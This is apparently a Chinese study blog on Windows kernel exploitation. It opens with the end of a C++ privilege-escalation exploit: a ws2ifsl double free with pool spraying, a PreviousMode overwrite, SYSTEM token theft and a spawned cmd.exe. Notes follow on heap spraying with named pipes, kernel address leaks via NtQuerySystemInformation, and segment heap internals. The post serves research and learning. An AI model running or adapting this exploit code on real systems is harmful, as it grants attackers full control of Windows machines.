if (HandleEntry.UniqueProcessId == CurPid && HandleEntry.HandleValue == (ULONG)hSelf)
{
g_CurrentEprocess = (ULONG64)HandleEntry.Object;
wprintf(L"[*] Current PID: %d\thandle: %#x\t_EPROCESS: %#llx\n", HandleEntry.UniqueProcessId, (ULONG)hSelf, g_CurrentEprocess);
}

// System 进程 Eprocess
if (HandleEntry.UniqueProcessId == 0x4 && HandleEntry.HandleValue == 0x4)
{ // SYSTEM Process has a handle to itself
g_SystemEprocess = (ULONG64)HandleEntry.Object;
wprintf(L"[*] System _EPROCESS: 0x%llx\r\n", g_SystemEprocess);
}

if (g_ExploitEthread != 0 && g_CurrentEprocess != 0 && g_SystemEprocess)
{
free(HandleInfo);
break;
}
}
// Get kthread and ktoken
if (g_ExploitEthread == 0 || g_CurrentEprocess == 0 || g_SystemEprocess == 0)
{
wprintf(L"[-] Error Leak\n");
exit(1);
}
}


// ws2ifsl
// wdm.h
// 结构提供扩展属性 (EA) 信息
typedef struct _FILE_FULL_EA_INFORMATION
{
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _PROC_DATA
{
HANDLE ApcThread; // 0x00
PVOID RequestQueueRoutine; // 0x04
PVOID CancelQueueRoutine; // 0x08
PVOID ApcContext; // 0x0C
PVOID unknown3; // 0x10
} PROC_DATA, * PPROC_DATA;

HANDLE g_ThreadApcHandle;

// Spray Ws2P
const ULONG64 CountSprayWs2P = 0x100;

// spray NpFr
const ULONG64 CountSprayPipe = 0x100;

// Spray tag IO
const ULONG64 CountSprayEaFile = 0x1000;

// set to cpu number later
DWORD CountConcurrentSprayEaFile = 0x0;

const ULONG64 CountSprayMm = 0x1000;

// Ws2P Process
HANDLE* g_ProcessList;

//
HANDLE CreateProcessFileHandle(HANDLE hThreadApc)
{
UNICODE_STRING deviceName;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");

OBJECT_ATTRIBUTES object;
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);

PFILE_FULL_EA_INFORMATION pFileEa =
(PFILE_FULL_EA_INFORMATION)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));

if (pFileEa == NULL)
{
wprintf(L"Error malloc\r\n");
exit(1);
}

pFileEa->NextEntryOffset = 0;
pFileEa->Flags = 0;
pFileEa->EaNameLength = sizeof("NifsPvd") - 1;
pFileEa->EaValueLength = sizeof(PROC_DATA);
memcpy(pFileEa->EaName, "NifsPvd", pFileEa->EaNameLength + 1);

PPROC_DATA pProcData = (PPROC_DATA)((char*)pFileEa + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
pProcData->ApcThread = hThreadApc;
pProcData->RequestQueueRoutine = (PVOID)0xaaaaaaaa;
pProcData->CancelQueueRoutine = (PVOID)0xbbbbbbbb;
pProcData->ApcContext = (PVOID)0xcccccccc;
pProcData->unknown3 = (PVOID)0xdddddddd;

HANDLE handle = INVALID_HANDLE_VALUE;
IO_STATUS_BLOCK IoStatusBlock;

// object -> handle
NTSTATUS status = NtCreateFile(
&handle,
MAXIMUM_ALLOWED,
&object,
&IoStatusBlock,
NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF,
0,
pFileEa,
sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA)
);
if (NT_ERROR(status))
{
wprintf(L"[-] Error NtCreateFile\r\n");
free(pFileEa);
exit(1);
}
free(pFileEa);
return handle;
}


// Io Pool
DWORD WINAPI APCThread(LPVOID lparam)
{
while (1)
{
Sleep(0x100);
}
}

// NpFr
typedef struct _PIPE_HANDLES {
HANDLE r;
HANDLE w;
} PIPE_HANDLES;

std::vector<PIPE_HANDLES> g_Pipe;

VOID SprayPipe(ULONG size)
{
wprintf(L"[*] Spray NpFr begin...\r\n");
ULONG payloadSize = size - 0x40;
for (int i = 0; i < CountSprayPipe; i++)
{
PIPE_HANDLES pipe;
UCHAR* payload = (UCHAR*)malloc(payloadSize);
if (payload == NULL) {
wprintf(L"malloc failed, err: %d\n", GetLastError());
exit(1);
}
memset(payload, 'p', payloadSize);
BOOL res = CreatePipe(&pipe.r, &pipe.w, NULL, payloadSize);
if (res == FALSE)
{
wprintf(L"[-] Error CreatePipe\r\n");
exit(1);
}

DWORD resultLength;
// res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
res = WriteFile(pipe.w, payload, payloadSize, &resultLength, NULL);
if (res == FALSE)
{
wprintf(L"Error WriteFile\r\n");
exit(1);
}
g_Pipe.push_back(pipe);
}
wprintf(L"[*] Spray NpFr done!\n");
}

typedef NTSTATUS(WINAPI* PNtSetEaFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG);
PNtSetEaFile NtSetEaFile;

HANDLE Setup()
{
g_hDevice = CreateFileW(DEVICE, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == g_hDevice)
{
wprintf(L"[-] Error CreateFileW DEVICE\r\n");
exit(1);
}
// wprintf(L"Open device %s succeeded, handle: %p\n", DEVICE, ghDev);

g_ThreadApcHandle = CreateThread(NULL, 0, APCThread, NULL, 0, 0);
if (g_ThreadApcHandle == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Error CreateThread\r\n");
exit(1);
}

g_ProcessList = (HANDLE*)malloc(sizeof(HANDLE) * CountSprayWs2P);
if (g_ProcessList == NULL)
{
wprintf(L"[-] Error malloc g_ProcessList\r\n");
exit(1);
}
RtlFillMemory(g_ProcessList, sizeof(HANDLE) * CountSprayWs2P, 0xff);

NtSetEaFile = (PNtSetEaFile)::GetProcAddress(::LoadLibraryW(L"ntdll.dll"), "NtSetEaFile");
if (NtSetEaFile == NULL)
{
wprintf(L"[-] Error GetProcAddress(NtSetEaFile)\r\n");
exit(1);
}
}


// Io
// 通过 payloadSize 可以控制chunk的大小
typedef struct
{
HANDLE hPEAuth;
UCHAR* payload;
ULONG PayloadSize;
} ParamSprayEaFile;

HANDLE* g_EaThreadList;

DWORD WINAPI ThreadSprayEaFile(LPVOID param)
{
ParamSprayEaFile* _param = (ParamSprayEaFile*)param;
IO_STATUS_BLOCK iostatus;
for (int i = 0; i < CountSprayEaFile; i++)
{
NtSetEaFile(_param->hPEAuth, &iostatus, _param->payload, _param->PayloadSize);
}
return 0;
}

// EaFile => Io
// 详情:CVE-2021-34486
void SprayEaFile(ULONG size)
{
// 首先得获得核心数
// SYSTEM_INFO SystemInfo;
// GetSystemInfo(&SystemInfo);
// GetNativeSystemInfo(&SystemInfo);
// CountConcurrentSprayEaFile = SystemInfo.dwNumberOfProcessors;
CountConcurrentSprayEaFile = 2;

wprintf(L"[*] Spray Io ...\r\n");
ParamSprayEaFile* param = (ParamSprayEaFile*)malloc(sizeof(ParamSprayEaFile));
if (param == NULL)
{
wprintf(L"[-] Error malloc ParamSprayEaFile\r\n");
exit(1);
}

param->PayloadSize = size - 0x10;
param->hPEAuth = CreateFileW(L"\\\\.\\PEAuth", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, NULL, NULL);
if (param->hPEAuth == INVALID_HANDLE_VALUE)
{
wprintf(L"[-] Error CreateFile PEAuth \r\n");
exit(1);
}

param->payload = (UCHAR*)malloc(param->PayloadSize);
if (param->payload == NULL)
{
wprintf(L"[-] Error malloc payload\r\n");
exit(1);
}
RtlFillMemory(param->payload, param->PayloadSize, 'H');

// fake ProcessContext
*(ULONG32*)(&param->payload[0x0]) = 0x636F7250; // Proc
// FsContext->RequestAPC.Thread ; _ETHREAD._KTHREAD.PreviousMode
// !!!!! Attation + 0x30
*(ULONG64*)(&param->payload[0x38]) = g_ExploitEthread + 0x232 + 0x30;
// fake ProcessContext

g_EaThreadList = (HANDLE*)malloc(sizeof(HANDLE) * CountConcurrentSprayEaFile);
if (g_EaThreadList == NULL)
{
wprintf(L"[-] Error malloc g_EaThreadList\r\n");
exit(1);
}
for (unsigned int i = 0; i < CountConcurrentSprayEaFile; i++)
{
g_EaThreadList[i] = CreateThread(0, 0, ThreadSprayEaFile, param, CREATE_SUSPENDED, 0);
if (g_EaThreadList[i] == NULL)
{
wprintf(L"[-] Error CreateThread ThreadSprayEaFile\r\n");
exit(1);
}

// 为指定线程设置处理器关联掩码
if (SetThreadAffinityMask(g_EaThreadList[i], 1 << i) == 0)
{
wprintf(L"[-] Error SetThreadAffinityMask\r\n");
exit(1);
}
}

for (unsigned int i = 0; i < CountConcurrentSprayEaFile; i++)
{
// 递减线程的挂起计数。 当暂停计数减为零时,将恢复线程的执行
ResumeThread(g_EaThreadList[i]);
}

// 等待,直到一个或所有指定对象处于信号状态或超时间隔已过。
WaitForMultipleObjects(CountConcurrentSprayEaFile, g_EaThreadList, TRUE, INFINITE);

for (unsigned int i = 0; i < CountConcurrentSprayEaFile; i++)
{
CloseHandle(g_EaThreadList[i]);
}
CloseHandle(param->hPEAuth);
free(param->payload);
free(param);

wprintf(L"[*] Spray Io done\r\n");
}


VOID Cleanup()
{
wprintf(L"[+] cleanup...\r\n");

CloseHandle(g_hDevice);

if (g_Pipe.size() != 0)
{
for (PIPE_HANDLES p : g_Pipe)
{
CloseHandle(p.r);
CloseHandle(p.w);
}
}
}

typedef NTSTATUS (NTAPI *PNtReadVirtualMemory) (
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_Out_writes_bytes_(BufferSize) PVOID Buffer,
_In_ ULONG BufferSize,
_Out_opt_ PULONG NumberOfBytesRead
);

typedef NTSTATUS(WINAPI* PNtWriteVirtualMemory) (
_In_ HANDLE ProcessHandle,
_In_ PVOID BaseAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytesToWrite,
_Out_opt_ PULONG NumberOfBytesWritten
);


int wmain()
{
atexit(Cleanup);
wprintf(L"[+] Setup ...\r\n");
Setup();
g_ThreadExploitHandle = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());
wprintf(L"[*] Hacking thread: %#llx\r\n", (ULONG64)GetCurrentThreadId());

wprintf(L"[+] LeakByQuerySystemInfomation\r\n");
LeakByQuerySystemInfomation();
//std::cin.get();
Sleep(3000);

wprintf(L"[+] Defragment \r\n");
for (int i = 0; i < 100; i++)
{
Allocate32(0x1b000);
}
SprayPipe(0x120);

wprintf(L"[+] Allocate target \r\n");
Allocate64(0x1b000);
wprintf(L"[+] Free first \r\n");
Free64();


wprintf(L"[+] Ws2P => Mdl \r\n");
for (int i = 0; i < CountSprayWs2P; i++)
{
g_ProcessList[i] = CreateProcessFileHandle(g_ThreadApcHandle);
}
//std::cin.get();

wprintf(L"[+] Allocate Memory avoid crash \r\n");
for (int i = 0; i < CountSprayMm; i++)
{
Allocate32(0x1b000);
}


wprintf(L"[+] Double free \r\n");
Free64();

wprintf(L"[+] Eafile => Ws2P \r\n");
SprayEaFile(0x120);
//std::cin.get();

// 找了一天的 BUG
wprintf(L"[+] Close Ws2P Process Handle \r\n");
for (int i = 0; i < CountSprayWs2P; i++)
{
CloseHandle(g_ProcessList[i]);
}

//DWORD dwBytesWriten;
wprintf(L"[+] Exploiting... \r\n");
wprintf(L"[*] Exploit thread: %#lx \r\n", GetCurrentThreadId());
//WriteFile(sync.w, "Y", 1, &dwBytesWriten, NULL);

HANDLE hCur = GetCurrentProcess();
//std::cin.get();
Sleep(1000);
//std::cin.get();

// 需要确保 _KTHREAD.PreviousMode为0
PNtWriteVirtualMemory NtWriteVirtualMemory = (PNtWriteVirtualMemory)::GetProcAddress(::LoadLibraryW(L"ntdll.dll"), "NtWriteVirtualMemory");
if (NULL == NtWriteVirtualMemory)
{
wprintf(L"[-] Error GetProcAddress NtWriteVirtualMemory\r\n");
exit(1);
}
//PNtReadVirtualMemory NtReadVirtualMemory = (PNtReadVirtualMemory)::GetProcAddress(::LoadLibraryW(L"ntdll.dll"), "NtReadVirtualMemory");
//if (NULL == NtWriteVirtualMemory)
//{
// wprintf(L"[-] Error GetProcAddress NtReadVirtualMemory\r\n");
// exit(1);
// }

// Write EPROCESS token => SYSTEM
wprintf(L"[+] Read System token ...\r\n");
Sleep(3000);
ULONG BytesWritten = 0;
ULONG64 Token[] = { 0, 0, 0, 0 };
// addr => buffer
NtWriteVirtualMemory(
hCur,
&Token,
(PVOID)(g_SystemEprocess + 0x4b8 - 0x10), // +0x4b8 Token
sizeof(Token),
&BytesWritten);
wprintf(L"[*] Read System token: %#llx %#llx %#llx %#llx\n", Token[0], Token[1], Token[2], Token[3]);
if (BytesWritten == 0)
{
wprintf(L"[-] Error read token, please reboot...\n");
exit(1);
}
//std::cin.get();

// buffer => address
NtWriteVirtualMemory(
hCur,
(PVOID)(g_CurrentEprocess + 0x4b8),
&Token[2],
8,
&BytesWritten
);

// write back PreviousMode => 1
wprintf(L"[+] Write PrevoiuaMode 1\r\n");
Sleep(2000);
BYTE PreviousMode = 1;
if (NtWriteVirtualMemory(
hCur,
(PVOID)(g_ExploitEthread + 0x232),
&PreviousMode,
1,
&BytesWritten
))
{
wprintf(L"[-] Error NtWriteVirtualMemory\r\n");
exit(1);
}

wprintf(L"[+] Get shell... \r\n");
system("cmd.exe");
return EXIT_SUCCESS;
}

CLFS

提了一嘴 CLFS,其UAF的利用

clfs.sys 漏洞也蛮多的

沉淀,todo…

More

尝试解决问题时搜到了其他不错的文章,深度学习一下

工具

微软的好东西总是需要我们自己探索。

工具箱: Sysinternals Suite

windows driver reverse

windows-drivers-reverse-engineering

本人更喜欢使用网络来进行windbg调试

1
2
PS> bcdedit /dbgsettings NET HOSTIP:<DEBUGGER_IP> PORT:50000
PS> bcdedit /debug on

Devices are interfaces that let processes interact with the driver while Symlink is an alias you can use while calling Win32 functions.

  • IoCreateDevice creates DeviceNames: \Device\VulnerableDevice
  • IoCreateSymbolicLink creates Symlinks: \\.\VulnerableDevice

设备的名称:

  • 设备命名后,其它内核模式部件可以通过调用IoGetDeviceObjectPointer函数找到该设备,找到设备对象后,就可以向该设备的驱动程序发送IRP。
  • 允许应用程序打开命名设备的句柄,这样它们就可以向驱动程序发送IRP。

符号链接名: 驱动程序为设备创建符号链接,应用程序可以使用符号链接名称来访问设备

  • 设备是可以没有名字的,但是得存在符号链接用户态才能访问设备

我们可以使用 Sysinternals Suite 里的 winobj.exe 来查看。

  • global 搜索 symlink 就可以找到device

Dispatch Routines

派遣函数 MajorFunction

Windows Kernel HeapFengshui

Windows HeapFengShui

这篇文章主要介绍了内核态的heap spraying,在HEVD UAF时看过,再看几遍

首先Windows内核提权手段

  • 修改权限相关的数据结构
  • 内核态ROP

Pool

  • regular pool: 少于一个内存页大小的分配,X64下小于4064字节(16字节用于池头部,16字节分给初始的空闲块)
  • big pool: 大于于一个内存页大小的分配,没有预留头部空间,内存页是通过nt!PoolBigPageTable来索引跟踪的

heap spray: Socket和 NamedPipe

  • 创建一个本地Socket套接字并监听,用另外一个线程连接该套接字,然后发出一个写操作(写的数据要超过4K),但不要读。
  • 创建一个命名管道,然后发出一个写操作(同样数据大于4K),且不要读。这也将导致命名管道文件系统(NPFS.SYS)为管道数据分配一块非分页的内存块。
  • 原因是因为 网络栈函数/NPFS缓冲区 操作位于DISPATCH_LEVEL(IRQL 2)层,是NonPagedPool。

named pipe 比较简单,只需要几行代码就能搞定。但是NPFS会在我们自己的缓冲区前面加上一个包含其自身内联头部的前缀,该前缀被称为DATA_QUEUE_ENTRY。NPFS头部的大小会随版本不同而略有差异

Windows Kernel Exploitation文章里使用这个技术,NPFS NpFr:

  • 调用 CreatePipe 创建readPipe和writePipe
  • 然后WriteFile往writePipe里写入内容
  • 存在一个0x48大小的BUFFER_HEADER,后面跟着数据,NonPagedPool

通过tag寻找pool,这个命令很长时间才能出结果。如果想知道pool大小,可以使用!poolused

1
!poolfind TagString [PoolType]

调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <windows.h>
#include <iostream>

int main()
{
HANDLE readPipe;
HANDLE writePipe;
BOOL res;
CHAR payload[0x30];

RtlFillMemory(payload, sizeof(payload), 0x43);

res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));

if (!res)
{
std::cout << "[-] Error CreatePipe" << std::endl;
}

WriteFile(writePipe, payload, sizeof(payload), NULL, NULL);
std::cout << "read: " << readPipe << "write: " << writePipe << std::endl;

DebugBreak();
CloseHandle(readPipe);
CloseHandle(writePipe);
return EXIT_SUCCESS;
}

两个handle,查看其中一个Handle信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0: kd> !handle 0xA4

PROCESS ffff9a8824cbd080
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ad000 ObjectTable: ffffc98328c04040 HandleCount: 2813.
Image: System

Kernel handle table at ffffc98328c04040 with 2813 entries in use

00a4: Object: ffff9a8826ffca20 GrantedAccess: 0012019f (Protected) (Inherit) (Audit) Entry: ffffc98328cb2290
Object: ffff9a8826ffca20 Type: (ffff9a8824d1cae0) File
ObjectHeader: ffff9a8826ffc9f0 (new version)
HandleCount: 1 PointerCount: 32768
Directory Object: 00000000 Name: \Device\HarddiskVolume3\$Extend\$RmMetadata\$TxfLog\$TxfLog {clfs}

0: kd> !pool ffff9a8826ffca20 2
Pool page ffff9a8826ffca20 region is Nonpaged pool
*ffff9a8826ffc9a0 size: 190 previous size: 0 (Allocated) *File
Pooltag File : File objects

可以看出来NonPaged多了一个0x70大小的内存区域。当我们我们写入0x28大小,也是0x70,存在对齐情况。

1
2
3
4
5
6
7
8
9
10
11
0: kd> !poolused 1 NpFr
Using a machine size of 1ffe7f pages to configure the kd cache
........
Sorting by Tag

NonPaged Paged
Tag Allocs Frees Diff Used Allocs Frees Diff Used

NpFr 2905 2904 1 112 0 0 0 0 DATA_ENTRY records (read/write buffers) , Binary: npfs.sys

TOTAL 2905 2904 1 112 0 0 0 0

多次写 0x30 大小

  • 写两次,就会是0xe0 => 0x70 * 2
  • 3次,0x150 = 0x70 * 3

poolfind (WinDbg),在本机一个多小时还是出不了结果🤣

1
0: kd> !poolfind NpFr -nonpaged

NtQuerySystemInformation

文章中提到绕过 KASLR 的一个函数,这个函数可以在ntdll.dll中获取

1
2
3
4
5
6
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);

但是Windows可能会限制用户模式下对系统信息的访问权限,包括对NtQuerySystemInformation函数的调用

有个不错的仓库:windows_kernel_address_leaks

SystemModuleInformation

故名思意,查询模块的基地址

from: HEVD Exploits

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
INT64 get_kernel_base() 
{

cout << "[>] Getting kernel base address..." << endl;

//https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
//also using the same import technique that @tekwizz123 showed us

PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{

cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}

ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);

PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);

if (status != (NTSTATUS)0x0)
{
cout << "[!] NtQuerySystemInformation failed!" << endl;
exit(1);
}

PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;

cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl;

return (INT64)kernelImageBase;
}

我们可以通过其Name查询指定模块基址 SYSTEM_MODULE_INFORMATION->Modules[ModulesCount].Name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

SystemExtendedHandleInformation

通过其指定的handle(SYSTEM_HANDLE_INFORMATION_EX->Handles[HandleCount].UniqueProcessId)查询Object

Handle

  • Process的Handle,EPROCESS
  • Thread的Handle, ETHREAD
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    typedef struct _SYSTEM_HANDLE
    {
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
    } SYSTEM_HANDLE, *PSYSTEM_HANDLE;

    typedef struct _SYSTEM_HANDLE_INFORMATION_EX
    {
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
    } SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

查询pid为4,HandleValue为4, object代表SYSTEM进程EPROCESS的地址,从而可以获得token的地址

ETHREAD(KTHREAD) 的地址:当HandleValue为当前指定的Thread

  • Thread可以OpenThread指定
  • 还可以在Process中CreateThread
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, FALSE, GetCurrentThreadId());

int z = 0;
for (unsigned int i = 0; i < system_handle_info->NumberOfHandles; i++)
{
if ((HANDLE)system_handle_info->Handles[i].HandleValue == hThread)
{
if (system_handle_info->Handles[i].ObjectTypeIndex == ObjectThreadType)
{
z++;
}
}
}

int array_size = z - 1;
PVOID* kThread_array = new PVOID[array_size];
z = 0;
for (unsigned int i = 0; i < system_handle_info->NumberOfHandles; i++)
{
if ((HANDLE)system_handle_info->Handles[i].HandleValue == hThread)
{
if (system_handle_info->Handles[i].ObjectTypeIndex == ObjectThreadType)
{
kThread_array[z] = system_handle_info->Handles[i].Object;
z++;
}
}
}

printf("[+] KTHREAD address: %p\n", kThread_array[array_size]);

Scoop the Windows 10 pool!

内核池

SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1

Scoop The Windows 10 Pool 翻译

Windows10内核池管理机制与利用方法 | Ash blog (ashlq.github.io)

比较新的一篇总结:Windows内核利用小总结

pool

用户态操作在 C\Windows\system32\ntdll.dll 中,可以逆向看看。

在win10 2004(这一版本也被称为Win10 2020年五月更新版(代号是20H1)) 以及之前是

1
2
3
4
5
PVOID ExAllocatePoolWithTag(
[in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,
[in] SIZE_T NumberOfBytes,
[in] ULONG Tag
);

在内核池中,所有单页的数据块的开头都是一个POOL_HEADER结构。这个结构包含了分配器和tag信息。

1
2
3
4
5
6
7
8
9
10
11
// win10 22h2
1: kd> dt nt!_POOL_HEADER
+0x000 PreviousSize : Pos 0, 8 Bits
+0x000 PoolIndex : Pos 8, 8 Bits
+0x002 BlockSize : Pos 0, 8 Bits
+0x002 PoolType : Pos 8, 8 Bits
+0x000 Ulong1 : Uint4B
+0x004 PoolTag : Uint4B
+0x008 ProcessBilled : Ptr64 _EPROCESS
+0x008 AllocatorBackTraceIndex : Uint2B
+0x00a PoolTagHash : Uint2B

主要的PoolType:NonPagedPool,PagedPool,SessionPool,NonPagedPoolNx

  • 在win8中引入了NonPagedPoolNx,必须使用它来替代NonpagedPool类型.

PagedPool是分页内存,简单来说就是物理内存不够时,会把这片内存移动到硬盘上。

  • 一个物理地址能对应多个虚拟地址

NonPagedPool是无论物理内存如何紧缺,都绝对不把这片内存的内容移动到硬盘上。只能常驻于物理内存地址,不能映射

Segment Heap – 段堆自Windows 10 19H1开始用于内核空间,与用户空间中使用的段堆非常相似。就像在用户态使用的一样,段堆是为根据分配大小的不同提供不同的功能,为此来定义了多种不同类型的后端处理。

win10之后堆分为两种:Segment heap和NT heap。当一个进程分配堆的时候,大部分场合默认使用的堆都是后面那种,前面的segment heap通常会在winapp或者某些特殊的进程(核心进程)中会使用到。

这两种堆称为前端堆(Frontend Heap)和后端堆(Backend Heap)

低碎片堆(LFH) <= 0x200
可变量大小后端(VS) <= 0x20000
分段分配(SEG) <= 0x7f0000
Large

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall RtlpHpAllocateHeapInternal(__int64 a1, __int64 a2, unsigned __int64 a3, unsigned int a4, int *a5)
{
unsigned __int64 v6; // rbx
__int64 v7; // rsi
int v9; // ebp
__int64 v10; // rcx
__int64 v11; // rax

v6 = a3;
v7 = a2;
v9 = 3;
if ( a3 > (unsigned int)*(unsigned __int16 *)(a1 + 892) - 16
|| (v10 = RtlpHpLfhContextAllocate(a1 + 832, a2, a3, a4), a3 = (unsigned int)v6, a2 = (unsigned int)v7, v10 == -1) )
{
if ( v6 > 0x20000 )
{
if ( v6 > *(unsigned int *)(a1 + 464) )
v11 = RtlpHpLargeAlloc(a1, v7, v6, a4);
else
v11 = RtlpHpSegAlloc((unsigned int)a1 + (*(unsigned int *)(a1 + 272) < v6 ? 448 : 256), v7, v6, v6, a4);
}
else
{
v11 = RtlpHpVsContextAllocate(a1 + 640, a2, a3, a4);
}
v10 = v11;
}
else
{
v9 = 2;
}
*a5 = v9;
return v10;
}

LFH,VS,SEG分别关联了对应的上下文(CONTEXT),这些后端的上下文存储在_SEGMENT_HEAP结构中偏移0x100,0x280,0x340的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0: kd> dt nt!_SEGMENT_HEAP
+0x000 EnvHandle : RTL_HP_ENV_HANDLE
+0x010 Signature : Uint4B
+0x014 GlobalFlags : Uint4B
+0x018 Interceptor : Uint4B
+0x01c ProcessHeapListIndex : Uint2B
+0x01e AllocatedFromMetadata : Pos 0, 1 Bit
+0x020 CommitLimitData : _RTL_HEAP_MEMORY_LIMIT_DATA
+0x020 ReservedMustBeZero1 : Uint8B
+0x028 UserContext : Ptr64 Void
+0x030 ReservedMustBeZero2 : Uint8B
+0x038 Spare : Ptr64 Void
+0x040 LargeMetadataLock : Uint8B
+0x048 LargeAllocMetadata : _RTL_RB_TREE
+0x058 LargeReservedPages : Uint8B
+0x060 LargeCommittedPages : Uint8B
+0x068 StackTraceInitVar : _RTL_RUN_ONCE
+0x080 MemStats : _HEAP_RUNTIME_MEMORY_STATS
+0x0d8 GlobalLockCount : Uint2B
+0x0dc GlobalLockOwner : Uint4B
+0x0e0 ContextExtendLock : Uint8B
+0x0e8 AllocatedBase : Ptr64 UChar
+0x0f0 UncommittedBase : Ptr64 UChar
+0x0f8 ReservedLimit : Ptr64 UChar
+0x100 SegContexts : [2] _HEAP_SEG_CONTEXT
+0x280 VsContext : _HEAP_VS_CONTEXT
+0x340 LfhContext : _HEAP_LFH_CONTEXT

不同的POOL_TYPE,都有1个_SEGMENT_HEAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0: kd> dt _POOL_TYPE
ntdll!_POOL_TYPE
NonPagedPool = 0n0
NonPagedPoolExecute = 0n0
PagedPool = 0n1
NonPagedPoolMustSucceed = 0n2
DontUseThisType = 0n3
NonPagedPoolCacheAligned = 0n4
PagedPoolCacheAligned = 0n5
NonPagedPoolCacheAlignedMustS = 0n6
MaxPoolType = 0n7
NonPagedPoolBase = 0n0
NonPagedPoolBaseMustSucceed = 0n2
NonPagedPoolBaseCacheAligned = 0n4
NonPagedPoolBaseCacheAlignedMustS = 0n6
NonPagedPoolSession = 0n32
PagedPoolSession = 0n33
NonPagedPoolMustSucceedSession = 0n34
DontUseThisTypeSession = 0n35
NonPagedPoolCacheAlignedSession = 0n36
PagedPoolCacheAlignedSession = 0n37
NonPagedPoolCacheAlignedMustSSession = 0n38
NonPagedPoolNx = 0n512
NonPagedPoolNxCacheAligned = 0n516
NonPagedPoolSessionNx = 0n544
Segment Backend

SegAlloc后端是用于分配大小在128 KB和7 GB之间的内存块。它也用于后台,为VS和LFH后端分配内存。

段后端上下文存储在一个名为_HEAP_SEG_CONTEXT的结构中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
0: kd> dt nt!_HEAP_SEG_CONTEXT
+0x000 SegmentMask : Uint8B
+0x008 UnitShift : UChar
+0x009 PagesPerUnitShift : UChar
+0x00a FirstDescriptorIndex : UChar
+0x00b CachedCommitSoftShift : UChar
+0x00c CachedCommitHighShift : UChar
+0x00d Flags : <anonymous-tag>
+0x010 MaxAllocationSize : Uint4B
+0x014 OlpStatsOffset : Int2B
